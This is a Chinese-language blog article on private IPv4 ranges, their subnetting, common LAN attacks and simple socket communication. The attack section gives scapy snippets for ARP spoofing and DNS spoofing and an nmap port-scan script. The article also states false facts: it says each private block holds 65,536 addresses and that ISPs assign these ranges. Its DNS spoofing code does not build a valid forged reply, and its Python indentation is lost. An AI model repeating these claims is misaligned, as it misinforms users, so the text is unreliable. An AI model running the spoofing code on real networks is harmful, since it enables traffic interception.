一、内网地址段概述
内网地址是指那些在Internet上不可达的地址,通常由Internet服务提供商指定。内网地址被用于机构内网络的通信,目的是为了保证网络安全和降低对Internet的流量影响。
IPv4内网地址范围为以下三个段,每个段的大小为65,536个地址:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
二、内网地址的分配
内网地址段由各ISP自行分配并管理,其中最常用的是由RFC 1918标准所指定的三个地址段。
以192.168.0.0/16为例,一般是按照子网掩码的形式来进行分配的。例如:
192.168.1.0/24 //192.168.1.0~192.168.1.255
192.168.2.0/24 //192.168.2.0~192.168.2.255
192.168.3.0/24 //192.168.3.0~192.168.3.255
这种分配方式可以使同一网络内的设备进行IP地址的互通,同时节约IP地址资源。
三、内网地址的安全性问题
内网地址不向Internet开放,但这并不能保证内网的安全性。常见的攻击方式包括:
1. ARP欺骗攻击
ARP欺骗攻击是利用ARP协议缺陷,伪造其他设备的MAC地址,以达到窃取数据或者干扰网络的目的。
# ARP欺骗攻击代码示例
# 发送ARP响应包
from scapy.all import *
arp = ARP(op=2,psrc="192.168.1.1",pdst="192.168.1.100",hwsrc="00:11:22:33:44:55",hwdst="BB:BB:BB:BB:BB:BB")
send(arp)
# 发送ARP请求包,获取目标主机MAC地址
result = sr1(ARP(pdst="192.168.1.100"))
print(result[ARP].hwsrc)
2. 端口扫描攻击
端口扫描攻击是通过网络上的程序,对目标主机的开放端口进行扫描,以获取其服务、系统、协议等信息,以备进一步攻击。
# 扫描主机192.168.1.100的前1000个端口
import nmap
nm = nmap.PortScanner()
nm.scan('192.168.1.100', arguments='-p 1-1000')
for host in nm.all_hosts():
for proto in nm[host].all_protocols():
lport = sorted(nm[host][proto].keys())
for port in lport:
print('port: %s/%s' % (port, proto))
3. DNS欺骗攻击
DNS欺骗攻击利用DNS解析劫持,将用户的请求导向制定的地址,以达到窃取信息、劫持会话等目的。
# DNS欺骗攻击代码示例
from scapy.all import *
domain_name = 'example.com'
victim_ip = '192.168.1.100'
dnsserver = '192.168.1.1'
fake_ip = '192.168.1.101'
dns = DNS(rd=1, qd=DNSQR(qname=domain_name))
fake_response = IP(dst=victim_ip, src=fake_ip) / UDP() / dns
send(fake_response)
四、内网地址的应用
内网地址在很多场景中都有应用,比如局域网内的服务器、客户端、路由器等设备之间互相通信,以及VPN等,在此不一一赘述。
举个例子,使用Python的socket模块,可以在局域网内实现简单的TCP/UDP通信。
# Python TCP server
import socket
HOST = '192.168.1.100'
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
print('Connected by', addr)
while True:
data = conn.recv(1024)
if not data: break
conn.sendall(b'Hello, ' + data)
conn.close()
# Python TCP client
import socket
HOST = '192.168.1.100'
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(b'World')
data = s.recv(1024)
s.close()
print('Received', repr(data))
原创文章,作者:小蓝,如若转载,请注明出处:https://www.506064.com/n/247778.html